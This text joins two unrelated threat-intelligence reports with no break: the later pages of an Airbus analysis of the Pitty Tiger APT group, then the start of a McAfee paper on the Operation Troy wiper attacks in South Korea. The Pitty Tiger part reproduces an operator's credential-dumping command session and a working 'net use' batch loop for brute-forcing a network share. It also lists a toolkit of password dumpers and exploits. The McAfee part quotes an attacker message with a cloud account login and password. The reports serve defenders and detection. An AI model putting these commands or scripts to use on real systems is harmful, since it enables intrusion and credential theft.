IP Address seed01.com.tw, techsun.com.tw Whois information webconference.com.tw IP Address webconference.com.tw, trendmicro.org.tw dopodo.com.tw Whois information acers.com.tw, foxcom.com.tw, stareastnet.com.tw IP Address stareastnet.com.tw, symantecs.com.tw, kimoo.com.tw foxcom.com.tw Whois information acers.com.tw, dopodo.com.tw, stareastnet.com.tw IP Address stareastnet.com.tw, symantecs.com.tw, kimoo.com.tw acers.com.tw Whois information acers.com.tw, foxcom.com.tw, stareastnet.com.tw IP Address symantecs.com.tw, wmdshr.com, kimoo.com.tw Links between domains used by Pitty Tiger Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 38/58 Copyright  2014 Airbus Defence  Space - All rights reserved Timeline of Pitty Tiger domains registration information, based on e-mail address Some domains registered by the group are very old.
There is an increase in the registrations from 2010 on.
All the e-mail addresses used are connected to the Pitty Tiger group.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 39/58 Copyright  2014 Airbus Defence  Space - All rights reserved VICTIMS Mapping the victims of such a targeted campaign is not an easy task.
We have found the Pitty Tiger group to be very active against one particular private company from the defense industry and one academic network of a government, , yet we think it was done to be used as a proxy for some of the groups operations.
We have also found some connections from other companies to the cc servers, yet we did not find evidence that they were real victims.
These alleged victims do work in different sectors and are located mostly in European countries.
1 company from the defense industry 1 company from the energy industry 1 company from the telecommunications industry 1 company specialized in web development.
It might be surprising to see a company specialized in web development here, yet it has built websites for interesting potential targets.
We suspect Pitty Tiger to use this compromise to spear phish other companies which are in commercial relation with this web development company.
We have to mention that we only had access to three of the several attackers servers.
Therefore, we suppose the Pitty Tiger group could have more targets than what we could confirm.
We also found a lot of vulnerability scanners launched by the attackers at different targets, yet there was no sign of compromise.
During the course of our investigations, we discovered a RAR archive on the attackers server containing 5 Word documents and one small C source code.
These documents belong to the defense company which has been compromised.
According to the name of the files and the general feel of the archive, we do think it was extracted by the attackers to show someone what kind of data they could get from the compromise of that particular target.
The documents were still exhibiting comments from various users, showing it was an ongoing work and not old documents.
Interestingly enough, we saw a part of these documents appear on Virus-Total, with an additional gift from the attackers, a payload dropping a malware.
There are only two options we can think of here: Someone from the same company has been targeted with this document.
Someone from another company has been targeted with this document.
This other company could be a partner or competitor.
Since we were unable to determine the intended use of this specific document, we can only suppose that it could be used to provide commercial advantages to competitors of that company, or used by a foreign state.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 40/58 Copyright  2014 Airbus Defence  Space - All rights reserved ATTACKERS During our investigation, we found out interesting information about the Pitty Tiger group itself.
After analyzing the various collected elements, we have tried to draw a portrait of this particular threat.
ATTACKERS CONNECTIONS TO THE CC We have been able to get all the RDP connections logs to one cc server: COMPUTER NAME OCCURENCES IP ADDRESSES COUNTRY 50PZ80C-1DFDCB8 65 23.226.178.162 27.155.90.80 27.155.110.81 27.156.49.223 58.64.177.60 59.53.91.33 103.20.192.11 110.90.60.250 110.90.61.69 110.90.62.185 120.32.113.97 120.32.114.209 121.204.33.130 121.204.33.153 183.91.52.230 USA China China China Hong Kong China Hong Kong China China China China China China China Hong Kong FLY-THINK 11 27.151.0.224 27.155.109.89 121.204.88.120 120.32.114.139 China China China China TIEWEISHIPC 2 27.16.139.143 China CHMXY-PC 1 58.61.40.5 China RDP connections from attackers machines to one particular cc, from beginning of April 2014 to beginning of July 2014 These connections are either VPS or dynamic IP addresses, mostly from China.
A computer named CHMXY-PC connected to the cc via RDP with IP address 58.61.40.5.
The IP is in an ADSL dynamic pool in the Gangzhou area (Guangdong province): Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 41/58 Copyright  2014 Airbus Defence  Space - All rights reserved IP address used by CHMXY-PC A few connections to the cc were done by a computer named TIEWEISHIPC with IP address 27.16.139.143.
This IP address belongs to an ADSL dynamic pool in the Wuhan area (Hubeis provincial capital).
IP address used by TIEWEISHIPC computer Some connections to the cc originated from a computer named FLY-THINK with several IP addresses, all located in Fuqing (Fujian province).
The IP addresses are in an ADSL dynamic pool: Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 42/58 Copyright  2014 Airbus Defence  Space - All rights reserved IP addresses used by the FLY-THINK machine Most of the connections to the cc server were coming from a computer named 50PZ80C- 1DFDCB8 with several IP addresses.
There are 11 IP addresses from Chinese dynamic ADSL ranges: 9 from Fuqing (Fujian province), one from Fuzhou (Fujians province capital) and one from Nanchang (Jiangxis province capital).
The last one came from a VPS instance located in Los Angeles (California, USA) but purchased by a China based VPS provider XeVPS which belong to the AS38197 (Sun Network Hong Kong Limited).
IP addresses used by the 50PZ80C-1DFDCB8 machine Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 43/58 Copyright  2014 Airbus Defence  Space - All rights reserved The two computers FLY-THINK and 50PZ80C-1DFDCB8 have used distinct IP addresses to connect to the cc, yet some of these IP addresses come from the same IP range: IP ranges overlapping between two machines used by the attackers We mapped these RDP connections to have a graphical view: Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 44/58 Copyright  2014 Airbus Defence  Space - All rights reserved RDP connections from the attackers to one cc server TOOT We found that a member of this group of attackers used some tools on his own system, for testing purposes.
This information was still available when we got access to the cc server.
He launched some tests with the CT RAT we exposed earlier: User Toot logging on the CT RAT on machine toot-2a601225a8, 2014/02/10 Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 45/58 Copyright  2014 Airbus Defence  Space - All rights reserved User Toot logging on the CT RAT on machine toot-2a601225a8, 2014/04/09 User Toot logging on the CT RAT on machine toot-2a601225a8, 2014/04/09 Here we can see a user Toot from a machine named toot-2a601225a8 logging in the CT RAT and executing some commands.
The cc IP address, 198.100.113.27, can be seen there.
Other log files showed that Toot is using virtual machines for his tests.
We can also see the system: Microsoft Windows XP SP3.
The P field is the language ID.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 46/58 Copyright  2014 Airbus Defence  Space - All rights reserved 1028 means Chinese traditional.
We have also seen tests run by toot with a language ID of 2052, which is Chinese simplified.
The M field is probably used for versioning.
It is a hardcoded string in the binary.
After these tests, we could see some real connections to a victim using this RAT.
Here is a follow-up of the commands launched by the bot controller, in a standard command-line shell: Command Effect cd\temp Folder change Dir Lists the content of the folder.
The attacker here is probably looking for his tools and does not remember if they are there or in system32.
cd\windows\system32 Folder change dir tools Looking for tools.exe, a tool to fetch different kind of credentials on the system tools The attacker wants to see what the options are for the tool.
tools all Tools.exe is launched.
At this point, the output shows the attackers only gets successfully one MSN credential in clear text, login and password, and one Microsoft Outlook credential.
type iecache.txt Shows the Internet Explorer cache to the attacker.
The output is huge.
dir cmd.exe Looking for cmd.exe del tools.exe Remove the tools.exe after its use dir tools.exe Checks to see if it has been successfully deleted del iecache.txt Removes the IE cache log file.
regedit -e 1.reg HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Dumps the content of this key to a file named 1.reg type 1.reg Checks if dump has been successful.
del 1.reg Deletes the dump regedit -e v1.reg HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Do it again, we do not know why the attacker does this the output is the same as for previous regedit command type v1.reg Checks the dump again dir .reg Looking for traces left in this folder del v1.reg Deletes the one .reg file left.
del c:\windows\system32\mfqtirq.exe Removes a binary used in the attack del c:\windows\system32\crupalo.dll Removes a binary used in the attack dir c:\windows\system32\mfqtirq.exe Checks if removal has been successfull dir c:\windows\system32\crupalo.dll Checks if removal has been Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 47/58 Copyright  2014 Airbus Defence  Space - All rights reserved successfull tasklist Displays the list of applications and services for all tasks running on the computer tasklist 1.txt Stores the output of the previous command in 1.txt type 1.txt Checks the content del 1.txt Removes the content net start Lists all services running on the machine dir mailpv Looks for MailPass View, a tool to extract e-mail passwords from various e-mail clients mailpv /stext 1.txt Launches MailPass View and requests the output to be generated as a text file named 1.txt type 1.txt Looks for the content : One MSN login/password One login/password for a POP3 e-mail account related to the targeted entity del mailpv.exe 1.txt Deletes both files dir iepv Looks for IE PassView tool, to extract passwords from Internet Explorer.
Public domain.
iepv /stext 1.txt Launches the tool, output is a text file named 1.txt type 1.txt Looks for the output: none del iepv.exe 1.txt Deletes both files The attacker goes on like this, using his tools, and then ends the communication with this RAT on that computer.
Please note that at this point, the attacker has at least the privileges of a local administrator, since he is allowed to write content in the system32 folder of a Windows XP system.
He could also gain the credentials to a sensitive e-mail account.
In addition to all information already shown, we saw Toot connect to an account on a cloud service named Baidu Drive.
The e-mail address linked to this account is dyanmipsqq.com (QQ-ID: 2589315828).
We could find traces of two other e-mail accounts associated to Toot, cisco_dyanmipsqq.com (QQ ID: 204156335) and cisco_dynamipsqq.com (QQ ID: 1878836793).
We did not find more information about user Toot, yet we miss Chinese language capabilities.
mailto:dyanmipsqq.com mailto:cisco_dyanmipsqq.com mailto:cisco_dynamipsqq.com Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 48/58 Copyright  2014 Airbus Defence  Space - All rights reserved COLD  SNOW The controller part of CT RAT/PittyTiger RAT revealed the following about information, once translated from Chinese to English language: CT console (compatible pittytiger) v1.3 2013.12 by Trees and snow We believe this translation of the authors name might not be accurate due to the use of automated translation tools.
Moreover, we have strong suspicions that there is not a single individual nicknamed Trees and snow but rather two programmers nicknamed Trees and Snow.
Trees could also be Cold.
We noticed that the symbol for this word is translated differently according to the context it is used in.
Once again, we lack Chinese language skills.
We identify the two nicknames on the current campaign as Automn Snow () and Cold Air Kiss ( ).
While we are confident that these people are indeed the developers of both PittyTiger and CT RAT malware, we are not sure they belong to the PittyTiger group.
These developers might just have been hired to develop these RATs.
They might also just be selling it to the PittyTiger group.
There is no trace of usage from other attacking groups, we believe the PittyTiger RAT is exclusively used by this group of attackers.
ROLES AND ORGANIZATION According to indicators we gathered and threat activities profiling we have some hypothesis on the way the group is conducting its operations.
We have strong evidence of a bot operator position.
We identify one nickname for this position, the user known as TooT.
As we did not see other nickname, we think that TooT is one person and not a group of persons.
We also identified a malware development position.
We identified two nicknames for this position on the current campaign, Automn Snow () and Cold Air Kiss ( ).
Yet we are unsure that they belong to the group, they might just be a third party providing or selling their malware.
We have a strong suspicion of a coordinator position, which coordinates the bot operator, provides him with some logistics support (weaponized document, tools) and reviews the programmers work.
This position could imply a communication channel with another manager.
We named this position Chen, in relation with several references of this common Chinese name in cc WHOIS and other investigation materials.
We have some suspicion of a customer relationship manager position that may act as an interface between a customer and Chen.
We named this position Lilly.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 49/58 Copyright  2014 Airbus Defence  Space - All rights reserved Proposal for PittyTiger team structure ATTACKERS ARSENAL The cc servers used by the attackers revealed a lot of interesting files stored in various folders: Filename Description Public tool ?
32m.exe / 3200.exe / ieupdate.exe / insert.exe / khuvaxu.exe MM RAT No 32mm.exe / mm32.exe CT RAT No 322.exe Chinese version of calc.exe, probably for testing purposes Yes client.exe File transfer tool, via pipes No CP.exe/CP_sep.exe Microsoft Outlook dumper No CT.exe Controller for CT RAT (2013.10) No ct1.exe Controller for both CT RAT and PittyTiger RAT No Diruse.exe Tool to display disk usage for a directory tree Yes GlobalWind.exe Controller for Pitty Tiger  No gsec1.exe GSecDump password dumper Yes http.exe/wsup.exe Controller for MM RAT No Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 50/58 Copyright  2014 Airbus Defence  Space - All rights reserved km.exe Toyi keylogger No logreader.exe Tool to decrypt the km.exe keylogger data No Mailpv.exe Mail PassView tool, to extract e-mail passwords from various e-mail clients.
Yes Netpass.exe Network Password Recovery tool, to extract network passwords.
Yes iepv.exe /iepv-jiake.exe IE PassView tool, to extract passwords from Internet Explorer.
The file iepv-jiake.exe is the same, but crypted using a tool named DarkCrypt (DarkCrpt).
Yes routerpass.exe Router PassView tool, to extract credentials in some router backup files.
Yes pstpass.exe PstPassword tool, to extract Outlooks PST files passwords.
Yes vncpass.exe VNCPassView tool, to extract passwords stored by the VNC tool.
Yes rdpv.exe Remote Desktop PassView tool, to extract the passwords from .RDP files.
Yes lookpass.exe Password revealer.
Yes tools.exe, res.exe Multi password dumper: RDP,VNC,IE,ProtectedStorage,MSN,Wireless, etc.
No p2012.exe Controller for Paladin 2.1 No p.exe Controller for Paladin 2.2 No po.exe TCP Tunneling tool.
No pp.exe Controller for Paladin 2.1 No pr.exe Dotpot port scanner.
Yes rar.exe Rar archiving tool, command-line version.
Yes sff.exe File-searching tool to hunt for doc,txt,mdb, sec,eml,vsd,ppt,pps,dbx (SearchFile).
No ssql.exe MySQL scanner.
No w7ij32.exe Windows 7 DLL injector.
No ToyI.dll Keylogger.
Can be used with w7ij32.exe No winspre.exe Troj/ReRol.
A No dr.asp Front-end for Troj/ReRol.
A.
No sk.exe Snakes SkServer.
Yes Fluxay5Beta1 Vulnerability scanner Yes feitafanghuoqiang Fortinet vulnerability scanner No Hscan1.2 Vulnerability scanner Yes mimi.exe, mimikaz64.exe Mimikatz password dumper Yes o2scan Vulnerability scanner Yes Openssl Heartbleed Exploit Yes X-Scan-v3.3 X-Scan vulnerability scanner Yes 8uFTP FTP client Yes NcFTP FTP client Yes SEPM exploit Remote command execution exploit on Symantec Endpoint Protection Manager (CVE- 2013-5014, CVE 2013-5015) Yes Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 51/58 Copyright  2014 Airbus Defence  Space - All rights reserved s.exe PHP Scanner No Shanian Port Scanner Port scanner Yes This is quite the usual arsenal for a group of APT attackers: Malware (Troj/ReRol.
A) Remote Administration Tools (MM RAT, CT RAT, Pitty Tiger, Paladin) E-mail espionage tools (cp.exe, mailpv.exe) Passwords dumpers (gsecdump, NirSoft tools, Mimikatz etc.)
Network scanners (pr.exe) Network-oriented tools (po.exe) Vulnerability scanners (ssql.exe, Fluxay, etc.)
What is rare to find is the controller part of those tools.
We have been lucky enough to get the controller part of Pitty Tiger and CT RAT, and even to get a kind of hybrid controller made for CT RAT but also supporting Pitty Tiger.
We suppose that the CT RAT is the new evolution of Pitty Tiger and that it will replace Pitty Tiger in the following months.
The presence of a Chinese version of calc.exe, the official calculator provided in Microsoft Windows, is interesting.
Not only is it one more indicator of a probable Chinese origin, but also an indicator that this server was probably used as a test base, in addition to being operational and controlling infected machines from different targets.
In addition to those tools, we found some interesting scripts.
A script named ipc.bat uses a file named user.txt to try to brute-force a shared folder access: for /f tokens1,2 delims  i in (user.txt) do (net use \\TARGETEDIP\ipc j /u:i) (net use \\TARGETEDIP /del)  (echo user:i pass:jsucc.txt) One script used to brute-force a network share inside a companys network The user.txt file contains thousands of lines, each one being a couple of one particular username and one password attempt: administrator nameofonetargetedcompany administrator Password administrator azerty123  administrateurnameofonetargetedcompany administrateur Password administrateur azerty123  usernamenameofonetargetedcompany username Password username azerty123  anotherusernameofonetargetedcompany anotheruser Password anotheruser azerty123  Anonymized dictionary file used for brute-forcing a network share Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 52/58 Copyright  2014 Airbus Defence  Space - All rights reserved This user.txt file has been anonymized, yet we wanted to give you the feel for it.
This file is 67320 lines long, and uses 5610 different passwords for each of 12 users contained in this file.
The user names are clearly the result from a user enumeration and are dedicated to a particular French victim.
The passwords listed in this file are either build from several campaigns or from the current campaign.
A lot of passwords are related to the targeted company and might be previous passwords from users.
We have also discovered a pack of files which can be used to trigger an Internet Explorer vulnerability (CVE-2014-0322).
The date of these files, namely Tope.swf and index.html, was 2014/02/18, a few days after the revelation of existing exploits in the wild used in APT attacks1.
We do not know if the Pitty Tiger group used this exploit or not, but found no trace indicating they did.
A lot of different attackers seem to have used that vulnerability since.
1http://www.symantec.com/connect/blogs/new-internet-explorer-10-zero-day-discovered-watering- hole-attack http://www.symantec.com/connect/blogs/new-internet-explorer-10-zero-day-discovered-watering-hole-attack http://www.symantec.com/connect/blogs/new-internet-explorer-10-zero-day-discovered-watering-hole-attack Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 53/58 Copyright  2014 Airbus Defence  Space - All rights reserved ATTRIBUTION Determining who is exactly behind an APT campaign is difficult.
We tried to extract different technical indicators, together with contextual elements.
Information relating to the tools used by the attackers has been leveraged for attribution: Several Chinese vulnerability scanners have been launched against targets Several Chinese tools have been used and found on the cc servers of the attackers: 8uFTP, a Chinese version of calc.exe, etc.
Two of the used RATs have been developed by the same developers: CT RAT and PittyTiger RAT.
The controllers for these RATs show Chinese language Several binaries used by the attackers show either Chinese - China or Chinese-Taiwan language ID in their resources A decoy Word document has been found, written in Chinese language The IP addresses used for the hosting of the cc domains are mainly located in Taipei (Tawan) and Hong Kong City (Hong Kong Special Administrative Region, PRC): Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 54/58 Copyright  2014 Airbus Defence  Space - All rights reserved Hosting information links for the cc servers used in this campaign Most RDP connections to the cc infrastructure come from Chinese IP ranges in Fuqing (Fujian province, PRC).
Yet some IP addresses in the USA and in Hong Kong have also been found Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 55/58 Copyright  2014 Airbus Defence  Space - All rights reserved RDP connections from attackers to the cc infrastructure All the items listed in this chapter are strong indicators that the attackers might be Chinese.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 56/58 Copyright  2014 Airbus Defence  Space - All rights reserved CONCLUSION Pitty Tiger is a group of attackers that have been active since at least 2011.
Pitty Tiger is effective and mature in the use of targeted malware, the use of known exploits to infect computers with their malware and the creation of an infrastructure to efficiently conduct APT attacks.
They are quite unprofessional in their way of using their infrastructure: they do launch vulnerability scanners directly from a cc server and also use their connection for personal activities (downloading pornographic material for example, as we have seen a whole folder on a cc server full of xxx torrent links).
Pitty Tiger is probably not a state-sponsored group of attackers.
The attackers lack the experience and financial support that one would expect from state-sponsored attackers.
We suppose this group is opportunistic and sells its services to probable competitors of their targets in the private sector.
One governmental network has been targeted by the group, yet we do not have any evidence of the purpose of this attack.
We suppose this particular attack has been executed to provide a usable bounce for the group.
The campaign we studied has been largely focused on one particular target.
We suspect the Pitty Tiger group to work according to an opportunistic business model: this group might offer its services to third parties from the private sector.
This group seems to be very small compared to other APT groups.
We have leveraged several profiles and could identify some attackers to a certain extent.
We believe this group might keep working as it is now, with limited budgets, or grow to extend its attacking campaign capabilities.
Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 57/58 Copyright  2014 Airbus Defence  Space - All rights reserved INDICATORS This list of indicators is provided in order to help people detect Pitty Tiger APT campaign.
DOMAINS Domains used by the Pitty Tiger group: (please note several subdomains are used, as seen in the report) acers.com.tw kimoo.com.tw paccfic.com foxcom.com.tw dopodo.com.tw trendmicroup.com lightening.com.tw avstore.com.tw helosaf.com.tw trendmicro.org.tw stareastnet.com.tw symantecs.com.tw seed01.com.tw skypetm.com.tw MALWARE HASHES MD5 Hashes Malware Family dc3d905ed90bbc148bccd34fe0c94d2d dd87c68c1e71bb104a48a6be87a2349f a494010a51705f7720d3cd378a31733a be18418cafdb9f86303f7e419a389cc9 0750569cf1733d4fbb01169476387cc2 3282a5e77f24c645984ef152a2aea874 8a54adb3976d1c03605656ca55be7400 666ae21ceaea9bb8017a967ea6128add a1ea6dc12b983c7262fe76c1b3663b24 d5da60d678d5a55a847e1e6723c7a4d0 55e456339936a56c73a7883ea1ddb672 abb0abfab252e45bfb9106273df3c1c2 PittyTiger RAT 4ab74387f7a02c115deea2110f961fd3 b6380439ff9ed0c6d45759da0f3b05b8 bf95e89906b8a17fd611002660ffff32 ce15fa3338b7fe780e85c511d5e49a98 5e2360a8c4a0cce1ae22919d8bff49fd 12854bb8d1e6a590e1bd578267e4f8c9 5e2360a8c4a0cce1ae22919d8bff49fd Troj/ReRol.
A Operation Pitty Tiger  The Eye of the Tiger Public release Threat Intelligence The Eye of the Tiger Page : 58/58 Copyright  2014 Airbus Defence  Space - All rights reserved c0656b66b9f4180e59e1fd2f9f1a85f2 79e48961d1ee982a466d222671a42ccb 33714886dad497d6f0ecc255f0399004 3b498f19d467d2b8d4c778a92cacae9a f71b374d341dc55b9b825531ba843f6d 8df89df484ca5c376b763479ea08d036 0d3b3b422044759b4a08a7ad8afe55c7 789c23dfcd67a5543769a3f0261ea325 96a59b9813202734f59ae809105e73d1 Paladin RAT 26be2cbb00158dfab6c81976d93748e8 e7dc3bbe8b38b7ee0e797a0e27635cfa 4ce8593c9de2b27b5c389f651c81638b f65dc0b3eeb3c393e89ab49a3fac95a8 b0a4302789e9716705d30ad1f8775a84 CT RAT 81fa811f56247c236566d430ae4798eb MM RAT (aka Troj/Goldsun-B) 3654496539faedfe137a1f989359aef0 Leo RAT MALWARE STRINGS Strings (File/Network) Data type Malware Family /FC001/GET File string / Network string PittyTiger RAT ---PittyTiger File string PittyTiger RAT netsvcs_0xd File string Paladin RAT \MSREVT.SRG File string Paladin RAT /httpdocs/mm/bot_id/ComMand.sec Network string MM RAT /httpdocs/prx.sec Network string MM RAT CmdShell closed.
File string MM RAT get file ok u bytes File string CT RAT ok sleep d minutes.
File string CT RAT cant open mmfile File string Troj/ReRol.
A Mozilla/4.0 (compatible) User-Agent Troj/ReRol.
A /dr.asp Network string Troj/ReRol.
A
White Paper By Ryan Sherstobitoff and Itai Liba, McAfee Labs and James Walter, Office of the CTO Dissecting Operation Troy: Cyberespionage inSouth Korea 2 Dissecting Operation Troy: Cyberespionage in South Korea Table of Contents Executive Summary 3 Attack Timeline 3 State Sponsorship or Cyberterrorism?
3 The adversaries 3 The Analysis 4 The Malware  4 The dropper Trojan 5 MBR wiper 5 The remote-access Trojan 5 Linking to the Attackers 6 Code Analysis  7 Revealing Operation Troy 7 Persistent espionage campaign in South Korea: 20092013 7 Tools and tactics 8 Military Espionage Malware: 20092013 16 The encrypted network 17 Data exfiltration 21 The DLL relationship  23 Relationships to Http Dr0pper 27 Destroying the target 27 The campaigns 28 Conclusion 28 About the Authors 29 About McAfee Labs 29 3 Dissecting Operation Troy: Cyberespionage in South Korea Executive Summary South Korea was hit by a major cyberattack on March 20, 2013, at 2:00 pm local time.
This cyberattack caused a significant amount of damage to the affected organizations by wiping the hard drives of tens of thousands of computers.
McAfee Labs research provides further insight into the likely source of these attacks.
Though not definitive, our analysis provides a much clearer picture.
The research also indicates that there may have been two distinct groups, attacking different targets.
Our analysis of this attackknown first as Dark Seoul and now as Operation Troyhas revealed that in addition to the data losses of the MBR wiping, the incident was more than cybervandalism.
The attacks on South Korean targets were actually the conclusion of a covert espionage campaign.
Attack Timeline Our analysis suggests the following order of these attacks.
Later in this report we mention other elements that color our view of this event, but consistent throughout is our belief that the attackers had access to the environments prior to launching the wiping component.
March 20 attack against banks and news agencies in South Korea: 1.
The remote-access Trojan was compiled January 26, 2013.
2.
The component to wipe the master boot record (MBR) of numerous systems was compiled January 31.
3.
An initial victim within the organization was spear-phished with the remote-access Trojan.
This likely occurred before March 20, and possibly weeks prior to the attack.
4.
The dropper was compiled March 20, hours before the attack occurred.
5.
The dropper was distributed to systems across the victim organizations, and within minutes of execution the MBRs were wiped.
This occurred around 2:00 pm Seoul time on March 20.
State Sponsorship or Cyberterrorism?
Who conducted these attacks is still unclear, but our research gives some further insight into the likely source.
The clues left behind confirm that the two groups claiming responsibility were a fabrication to throw investigators off the trail and to mask the true source.
The adversaries The two groups that appear to have been involved in the attacks have had no prior connection until now.
NewRomanic Cyber Army Team.
The samples connected to this group are more convincing.
The majority of the wipers (found in the wild and retrieved from infected systems through other sources) contain the strings principes and hastati, which also appear in a message left on one of the targeted websites in the form of a web pop-up.
The wiper component also overwrote the MBR with one of these strings.
The following data points support this fact: The strings principes1 and hastati2 were found within the code of some of the wiper components.
The same strings were also found in the web pop-up message that was left on the Nocut News Korea website.
The strings are ancient Roman terms that make reference to military units, hence a cyberarmy.
The pop-up even states some of the specific units that were part of hastati which were involved in this attack.
The remote-access Trojan that was found had a build path which included the reference Make Troy, a subdirectory of the folder Work.
Troy3 refers to an ancient Roman region, again connecting the Roman references to this group, which consistently uses this theme.
4 Dissecting Operation Troy: Cyberespionage in South Korea The Whois Hacking Team.
On March 20, the website of the network provider LG U was defaced by this group.
Was it a coincidence that a second group was involved?
All of the evidence indicates that they had a strong involvement, but there is no solid link to the group because it did not claim involvement in the attacks.
However, we do have the circumstantial link of a wiper component that in practice operated differently from the wipers employed by the NewRomanic Cyber Army yet also appears to be essentially the same wiper.
The Whois Hacking Team MBR wiper component includes the same graphics (in a resource file in the binary) that appeared on the defaced LG U website, although the malware did not behave the same way.
Within the main executable file, however, we discovered a small portion of the code that matched the structure of that of the NewRomanic Cyber Army wipers we found, so the Whois Team likely dropped the same wiper.
State sponsored or not, these attacks were crippling nonetheless.
The overall tactics were not that sophisticated in comparison to what we have seen before.
The trend seems to be moving toward using the following techniques againsttargets: Stealing and holding data hostage and announcing the theft.
Public news media have reported only that tens of thousands of computers had their MBRs wiped by the malware.
But there is more to this story: The main group behind the attack claims that a vast amount of personal information has been stolen.
This type of tactic is consistent with Anonymous operations and others that fall within the hacktivist category, in which they announce and leak portions of confidential information.
Wiping the MBR to render systems unusable, creating an instant slowdown to operations within the target The Analysis What were the motives behind these attacks and why did the attackers chose certain targets?
The attacks managed to create a significant disruption of ATM networks while denying access to funds.
This wasnt the first time that this type of attackin which destructive malware wiped the systems belonging to a financial institutionhas occurred in South Korea.
In 2011 the same financial institution was hit with destructive malware that caused a denial of service.
The attackers left a calling card a day after the attacks in the form of a web pop-up message claiming that the NewRomanic Cyber Army Team was responsible and had leaked private information from several banks and mediacompanies.
They also referenced destroying the data on a large number of machines (the MBR wiping) and left a message in the web pop-up identifying the group behind the attacks.
The page title in Internet Explorer was Hey, Everybody in Korea???
?
Hi, Dear Friends, We are very happy to inform you the following news.
We, NewRomanic Cyber Army Team, verified our OPFuckKorea2003.
We have now a great deal of personal information in our hands.
Those includes 2.49M of        _ member table data, cms_info more than 50M from                                                                  .
Much information from Bank.
We destroyed more than 0.18M of PCs.
Many auth Hope you are lucky.
11th, 12th, 13th, 21st, 23rd and 27th HASTATI Detachment.
Part of PRINCIPES Elements.
p.s For more information, please visit www.dropbox.com login with joseph.r.ulatoskigmail.com::lqazWSX3edcRFV.
Please also visit pastebin.com.
The Malware A few types of malware were involved in these attacks.
Each variant had a particular use.
Some public reports mentioned only the use of the wiper component however, there were actually three components, all with a different purpose, that assisted the attackers in the campaign.
Component Purpose File Size Compile Date Dropper Trojan Installs the MBR wiper 418KB March 20, 2013 MBR Wiper Wipes the MBR of the disk 24KB January 31, 2013 Remote-Access Trojan Provides backdoor access to attackers 46KB January 26, 2013 Table 1: Elements of the attack on South Korean targets.
5 Dissecting Operation Troy: Cyberespionage in South Korea There were two subsequent aspects to this attack: The destruction of PCs using the MBR wiper component.
Occurred March 20.
Remote access to the targets environments for a period prior to the attack.
The duration of this access is unknown.
The dropper Trojan The dropper Trojan was primarily used to download the executable that destroyed the systems MBRs.
We suspect that the dropper Trojan was distributed at the time of the attacks via a compromised patch-management server that pretended to run a legitimate update.
The dropper Trojan was compiled March 20, the day of the attack and several hours prior to the destruction of the systems.
We suspect that the attackers had access to the target environment prior to March 20.
It is unlikely that a large volume of users (some 30,000) were spear-phished on March 20 alone.
Its likely a much earlier compromise led to the attacks being staged internally.
Thus, there was an initial victim whose infected system allowed the attackers to gain access to other systems that let them distribute the malware broadly.
The initial infection certainly could have come from a spear-phishing attack.
The backdoor component was compiled in late January.
The attackers could have been inside the networks since February.
This timeline is plausible given that the attackers claim to have stolen a vast amount of information from these networks prior to wiping the MBRs.
Our further analysis led us to discover additional components that support our conclusion: A remote-access Trojan was discovered to have compromised some of the target environments, specifically an internal server used to distribute updates to thousands of PCs.
This Trojan variant was compiled January 26, and was detected by the security industry on March 25.
McAfee detects this threat as RDN/Generic PWS.yio.
This Trojan was built with the Microsoft Visual C Version 2.9 compiler with a file size of 47KB.
MBR wiper We have seen several wiper samples to date all were compiled January 31.
The wiper itself is relatively small (24KB) and is introduced into the environment via a dropper Trojan that is 418KB and was compiled the day of the attacks.
Upon executing the malware, the main dropper (9263e40d9823aecf9388b64de34eae54) creates the file AgentBase.exe, the MBR wiper component.
This file is placed in the infected users application data folder, executes, and immediately starts the countdown to wipe the system and render it unbootable.
This file was compiled approximately two months prior to the attacks taking place.
The main dropper component was compiled the day of the attack, March 20, at 4:07 am Seoul time.
The dropper installed the wiper, which destroyed the MBRs at around 2:00 pm Seoul time.
Once the dropper executed, the system were wiped within minutes.
Thus, these components likely werent distributed until the time when the attackers wished to destroy these machines.
The remote-access Trojan Its not widely known that the attackers used a remote-access Trojan to compromise an internal server.
The attackers used this internal server to distribute the wiper component to the thousands of PCs.
The remote-access Trojan had a file size of 46KB and was compiled on January 26, five days before the MBR wiper was compiled.
As we concluded earlier, we have determined that the attackers had access to the environment prior to wiping the systems.
The remote-access Trojan was likely delivered to an internal PC via a spear-phishing campaign.
From this system the attackers accessed other internal resources.
The Trojan was designed to operate within Internet Explorer it launched a hidden instance of Internet Explorer and injected itself into the running process.
6 Dissecting Operation Troy: Cyberespionage in South Korea Figure 1.
The process monitor shows the remote-access Trojan spawning an instance of Internet Explorer.
The Trojan immediately modified the properties in the registry to allow for remote connections to the system.
Linking to the Attackers Linking malware to its developers isnt always an easy task.
Most attackers are careful enough to ensure they cant be traced.
